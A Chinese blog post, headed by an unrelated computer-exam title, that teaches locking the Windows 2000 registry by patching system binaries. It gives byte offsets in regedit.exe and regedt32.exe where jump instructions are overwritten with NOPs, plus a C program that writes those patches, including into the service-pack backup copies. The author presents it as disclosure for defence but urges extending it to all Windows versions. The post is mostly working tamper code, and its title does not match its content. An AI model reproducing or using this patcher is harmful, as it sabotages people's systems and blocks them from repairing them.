计算机二级考试操作题在线,2016最新计算机二级考试操作题

这篇博客介绍了一种利用Cracker思路,在Windows 2000系统中通过C程序修改注册表编辑器(regedit.exe和regedt32.exe)的指令,达到锁定注册表的目的。作者提供了具体的偏移地址和程序实现方法,提醒读者注意防范此类锁定行为。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

2016最新计算机二级考试操作题

你有没有遇到注册表被锁定,无法打开注册表来手工修复呢?很多人都为这个头疼吧,相信你被锁定一次就知道他的操作原理了:

41d70fe9446f585b3c84c904965a40df.png

修改[HKEY_CURRENT_USER\Software\

Microsoft\Windows\Current

Version\PolicIEs\System]下的DisableRegistryTools值为1

解锁的方法也有几种,比如程序用API函数调用注册表直接删除,做一个REG文件直接导入,写一个脚本…………

今天我就教大家写个程序来实现另类锁定,是不是很好奇了?跟我来。

实验环境:Windows2000

实验目的`:锁定注册表(本方法利用了Cracker的思路来实现,直接让程序修改程序指令,使调用注册表程序禁止。)

实现方法:C程序

首先我们要按照Cracker的思路反汇编WINNT下的regedit.exe和regedt32.exe找到跳转指令,怎么得到这些信息不是我们今天的目的,这里我就不详细介绍了,以下是我反汇编找到的跳转地址:

1.regedit.exe

偏移地址:0x69CA 将指令:0x74 0x1A 修改成:0x90 0x90

2.regedt32.exe

偏移地址:0x10bf2 将指令:0x74 0x52 修改成:0x90 0x90

现在我们用程序把这2个偏移地址的指令给修改成0x90 0x90 ( 0x90代表nop,就是让程序什么也不做,执行下一条指令)让我们看看程序是如何实现的吧。

#include

#include

bool scanreg(const char *file,long offset, int length,char *the);

main()

{

char the[]={ 0x90,0x90 };

scanreg("C:\\WINNT\\regedit.exe",0x69CA,0x02,the);

scanreg("C:\\WINNT\\ServicePackFiles\\i386\\regedit.exe",0x69CA,0x02,the);

scanreg("C:\\WINNT\\system32\\regedt32.exe",0x10bf2,0x02,the);

scanreg("C:\\WINNT\\ServicePackFiles\\i386\\regedt32.exe",0x10bf2,0x02,the);

}

bool scanreg(const char *file,long offset, int length,char *the)

{

FILE *fp = NULL;

bool result=false;

if((fp=fopen(file,"rb+"))!=NULL)

{

fseek(fp,offset,1);

fwrite(the,length,1,fp);

fclose(fp);

result=true;

}

return(result);

}

好了,我这里只是一个示范,只适合2000系统,把windows每种系统的注册表调用程序都分析一下,然后在程序开始用API函数GetVersionEx(LPOSVERSIONINFO lpVersionInfo)判断系统,根据判断的系统来调用相应的修改函数。那不是通杀windows了?上面把方法公布出来,以便大家做好防范。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值